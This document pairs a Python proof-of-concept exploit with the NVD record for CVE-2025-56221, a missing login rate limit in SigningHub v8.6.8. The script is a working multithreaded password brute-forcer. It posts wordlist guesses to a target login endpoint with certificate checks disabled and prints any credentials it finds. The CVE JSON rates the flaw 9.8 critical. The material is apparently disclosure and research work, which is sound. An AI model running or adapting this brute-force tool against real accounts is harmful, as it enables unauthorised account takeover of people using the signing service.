CVE-2025-56221

#!/usr/bin/env python3 """ CVE-2025-56221 - SigningHub v8.6.8 Brute Force Authentication Bypass PoC Description: Exploits lack of rate limiting in SigningHub login mechanism Author: Security Researcher """ import requests import sys import time from concurrent.futures import ThreadPoolExecutor TARGET_URL = "https://target-signinghub.com/api/login" # Replace with actual target USERNAME = "[email protected]" # Target username WORDLIST = ["password", "123456", "admin", "Password1", "Welcome1"] def attempt_login(password): """Attempt a single login with given password""" try: data = { "username": USERNAME, "password": password } response = requests.post(TARGET_URL, json=data, timeout=10, verify=False) if response.status_code == 200 and "success" in response.text.lower(): print(f"[+] SUCCESS! Username: {USERNAME} | Password: {password}") return (USERNAME, password) else: print(f"[-] Failed: {password}") return None except Exception as e: print(f"[!] Error with {password}: {e}") return None def brute_force(): """Execute brute force attack against SigningHub login""" print(f"[*] Starting brute force attack on {TARGET_URL}") print(f"[*] Target username: {USERNAME}") with ThreadPoolExecutor(max_workers=20) as executor: results = executor.map(attempt_login, WORDLIST) for result in results: if result: print(f"\n[!!!] Credentials found: {result}") return result return None if __name__ == "__main__": brute_force()

{"cve": {"id": "CVE-2025-56221", "sourceIdentifier": "[email protected]", "published": "2025-10-17T19:15:37.590", "lastModified": "2025-10-27T14:16:15.763", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A lack of rate limiting in the login mechanism of SigningHub v8.6.8 allows attackers to bypass authentication via a brute force attack."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-307"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ascertia:signinghub:*:*:*:*:*:*:*:*", "versionEndIncluding": "8.6.8", "matchCriteriaId": "04320C9C-96AC-4A4A-8EEA-27C59A9EDBE7"}]}]}], "references": [{"url": "https://github.com/saykino/CVE-2025-56221", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}